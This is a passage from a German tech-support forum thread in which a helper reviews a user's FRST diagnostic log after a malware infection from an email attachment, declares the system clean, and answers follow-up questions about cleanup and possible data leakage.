{FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers1: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [PDFArchitect7_ManagerExt] -> {21989F59-B260-4302-90C3-E51740E03639} => C:\Program Files\PDF Architect 7\context-menu.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) ContextMenuHandlers1: [PDFCreator.ShellContextMenu] -> {d9cea52e-100d-4159-89ea-76e845bc13e1} => D:\Programme\PDFCreator\PDFCreatorShell.DLL -> Keine Datei ContextMenuHandlers2-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers2: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2021-04-13] (Malwarebytes Corporation -> Malwarebytes) ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers4: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers5: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} => -> Keine Datei ContextMenuHandlers5: [igfxDTCM] -> {9B5F5829-A529-4B12-814A-E81BCB8D93FC} => C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxDTCM.dll [2017-02-07] (Microsoft Windows Hardware Compatibility Publisher -> Intel Corporation) ContextMenuHandlers5: [NvCplDesktopContext] -> {3D1975AF-48C6-4f8e-A182-BE0E08FA86A9} => C:\WINDOWS\system32\nvshext.dll [2017-05-01] (NVIDIA Corporation -> NVIDIA Corporation) ContextMenuHandlers6-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers6: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers6: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2021-04-13] (Malwarebytes Corporation -> Malwarebytes) ==================== Codecs (Nicht auf der Ausnahmeliste) ==================== ==================== Verknüpfungen & WMI ======================== ==================== Geladene Module (Nicht auf der Ausnahmeliste) ============= ==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ======== ==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.) HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service" ==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ================= ==================== Internet Explorer (Nicht auf der Ausnahmeliste) ========== HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://acer17win10.msn.com/?pc=ACTE HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://acer17win10.msn.com/?pc=ACTE SearchScopes: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001 -> DefaultScope {719D3D69-4D32-4D6A-8008-477B306B8CEB} URL = BHO: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2021-03-04] (Microsoft Corporation -> Microsoft Corporation) BHO-x32: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM-x32 - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) ==================== Hosts Inhalt: ========================= (Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.) 2015-10-30 09:24 - 2021-04-13 21:48 - 000000027 _____ C:\WINDOWS\system32\drivers\etc\hosts 127.0.0.1 localhost ==================== Andere Bereiche =========================== (Aktuell gibt es keinen automatisierten Fix für diesen Bereich.) HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Jules\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\wp6495686-the-mandalorian-4k-wallpapers.jpg DNS Servers: 192.168.2.1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: RequireAdmin) ist aktiviert. ==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge == (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) HKLM\...\StartupApproved\Run32: => "Dropbox" ==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) FirewallRules: [{E0B9415C-9713-4BDF-949A-65A2D3597BE4}] => (Allow) D:\Games\Steam\steam.exe (Valve -> Valve Corporation) FirewallRules: [{7085354C-19DF-48D2-9572-E3D661653B91}] => (Allow) D:\Games\Steam\steam.exe (Valve -> Valve Corporation) FirewallRules: [{C6BF9672-25FE-4E34-8C35-F5D4DD3527BF}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) FirewallRules: [{32200CBC-FE7B-4426-B20E-2B1E29BF38B0}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) FirewallRules: [{FA13FA60-3D1A-4A34-B4CE-C72C5FC07F6D}] => (Allow) D:\Games\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe () [Datei ist nicht signiert] FirewallRules: [{F68AEA3F-5849-454F-B28A-94659477B333}] => (Allow) D:\Games\Steam\steamapps\common\Tabletop Simulator\Tabletop Simulator.exe () [Datei ist nicht signiert] FirewallRules: [{006B454E-29E4-4E6D-856A-506520D88D58}] => (Allow) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\89.0.774.76\msedgewebview2.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{59000255-A4F3-4F57-ABCD-457A37A42B87}] => (Allow) D:\Games\Steam\steamapps\common\Forts\Forts.exe (EarthWork Games Pty Ltd -> ) FirewallRules: [{C1D85898-39B8-4744-AB12-6D0D03F64A54}] => (Allow) D:\Games\Steam\steamapps\common\Forts\Forts.exe (EarthWork Games Pty Ltd -> ) FirewallRules: [{E5E53156-95C6-47E9-AB0A-48E44AC01463}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\2KLauncher\LauncherPatcher.exe (Take-Two Interactive Software, Inc. -> Take-Two Interactive Software, Inc.) FirewallRules: [{C607923D-5C1B-4DDF-AB88-35129338CCCB}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\2KLauncher\LauncherPatcher.exe (Take-Two Interactive Software, Inc. -> Take-Two Interactive Software, Inc.) ==================== Wiederherstellungspunkte ========================= 25-02-2021 21:30:58 Geplanter Prüfpunkt 14-03-2021 22:43:35 Windows Modules Installer ==================== Fehlerhafte Geräte im Gerätemanager ============ ==================== Fehlereinträge in der Ereignisanzeige: ======================== Applikationsfehler: ================== Error: (04/14/2021 12:08:37 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Error: (04/14/2021 07:37:50 AM) (Source: Application Hang) (EventID: 1002) (User: ) Description: Das Programm YourPhone.exe Version 1.20092.123.0 hat die Interaktion mit Windows beendet und wurde geschlossen. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen. Prozess-ID: 68c Startzeit: 01d730f02d60e212 Beendigungszeit: 4294967295 Anwendungspfad: C:\Program Files\WindowsApps\Microsoft.YourPhone_1.20092.123.0_x64__8wekyb3d8bbwe\YourPhone.exe Bericht-ID: eb699577-c564-46ac-9571-c9974aa2dbbd Vollständiger Name des fehlerhaften Pakets: Microsoft.YourPhone_1.20092.123.0_x64__8wekyb3d8bbwe Relative Anwendungs-ID des fehlerhaften Pakets: App Absturztyp: Quiesce Error: (04/13/2021 05:49:24 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 05:49:24 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Systemfehler: ============= Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "Microsoft Office-Klick-und-Los-Dienst" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Neustart des Diensts. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "PDF Architect 7" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Dell Peripheral Manager Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "NVIDIA GeForce Experience Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "Windows Presentation Foundation-Schriftartcache 3.0.0.0" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Neustart des Diensts. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "DbxSvc" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 5000 Millisekunden durchgeführt: Neustart des Diensts. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Quick Access Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/14/2021 12:24:39 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Content Protection HECI Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. CodeIntegrity: =============== Date: 2021-04-14 12:24:40 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppcom64.dll that did not meet the Windows signing level requirements. Date: 2021-04-14 12:24:40 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppwsc.exe) attempted to load \Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppcom64.dll that did not meet the Custom 3 / Antimalware signing level requirements. ==================== Speicherinformationen =========================== BIOS: Insyde Corp. V1.18 10/21/2016 Hauptplatine: Acer SpiderMan_SK Prozessor: Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz Prozentuale Nutzung des RAM: 29% Installierter physikalischer RAM: 16252.22 MB Verfügbarer physikalischer RAM: 11420.45 MB Summe virtueller Speicher: 18684.22 MB Verfügbarer virtueller Speicher: 13986.22 MB ==================== Laufwerke ================================ Drive c: (Acer) (Fixed) (Total:237.36 GB) (Free:81.58 GB) NTFS Drive d: (Data) (Fixed) (Total:931.51 GB) (Free:126.85 GB) NTFS \\?\Volume{44f275c1-0c20-44fc-9e16-4da330d4e24b}\ (Recovery) (Fixed) (Total:1 GB) (Free:0.52 GB) NTFS \\?\Volume{fd4f6b09-3c39-473e-b9b0-784d9524d6f1}\ (ESP) (Fixed) (Total:0.09 GB) (Free:0.05 GB) FAT32 ==================== MBR & Partitionstabelle ==================== ========================================================== Disk: 0 (Size: 931.5 GB) (Disk ID: 610F7E67) Partition: GPT. ========================================================== Disk: 1 (Size: 238.5 GB) (Disk ID: 610F4066) Partition: GPT. ==================== Ende von Addition.txt ======================= |
|
14.04.2021, 13:16
| #7 | |
| /// TB-Ausbilder | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Schritt 1
Schritt 2 Auf deinem Computer fehlt das aktuelle Funktionsupdate Version 20H2. Zitat:
Dann wären wir durch! Wenn du keine Probleme mehr mit Malware hast, dann sind wir hier fertig. Deine Logdateien sind sauber.  Abschließend bitte noch einen Cleanup mit unserem TBCleanUpTool durchführen und unbedingt die Sicherheitsmaßnahmen lesen und umsetzen - beides ist in folgendem Lesestoff verlinkt: Wenn Du möchtest, kannst Du hier sagen, ob du mit mir und meiner Hilfe zufrieden warst...  Vielleicht möchtest du das Forum mit einer kleinen Spende  unterstützen. Hinweis: Bitte gib mir eine kurze Rückmeldung, sobald du die oben verlinkten Informationen gelesen hast, alles erledigt ist und keine Fragen mehr vorhanden sind, so dass ich dieses Thema aus meinen Abos löschen kann. Geändert von M-K-D-B (14.04.2021 um 13:47 Uhr) |
|
14.04.2021, 21:49
| #8 |
| | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Hallo Matthias, ich habe die Schritte und den cleanup durchgeführt, allerdings wurde dadurch leider auch das letzte "fixlog.txt" gelöscht. Bitte um kurze Benachrichtigung falls du das zwingend benötigst. Ich hätte tatsächlich noch Fragen: I. Waren die Funde i.d. Quarantäne tatsächlich schädliche Software und wenn ja: II. Kannst du eine Aussage treffen ob ggf. Daten (wenn ja, welche?) an Unbefugte (durch die Malware) weitergegeben wurden? An der Stelle schonmal allerbesten Dank für deine schnelle und kompetente Hilfe, ich weiß das sehr zu schätzen und es ist heutzutage nicht selbstverständlich, dass sich jemand so hilfsbereit zeigt! Beste Grüße, Jules |
|
15.04.2021, 13:25
| #9 | ||||
| /// TB-Ausbilder | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogenZitat:
Wenn du allerdings kein Backup der fixlog gemacht hast, sind die Daten wohl verloren. Ein erneutes Ausführen des Fixes ist nicht hilfreich. Schade, aber was solls. Zitat:
Zitat:
 Ich werde meinen letzten Baustein etwas anpassen müssen, um sicherzustellen, dass die fixlog gleich gepostet wird.  Zitat:
Dieses Thema scheint erledigt und wird aus unseren Abos gelöscht. Solltest Du das Thema erneut brauchen, schicke uns bitte eine Erinnerung inklusive Link zum Thema. Jeder andere bitte hier klicken und ein eigenes Thema erstellen. |
|
| Themen zu Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen |
| cpu, desktop, email, fehler, firefox, frage, home, homepage, hängen, internet, internet explorer, malware, mozilla, prozesse, realtek, registry, scan, security, software, svchost.exe, system, udp, updates, usb, windows |
Lesestoff:
Linear-Darstellung
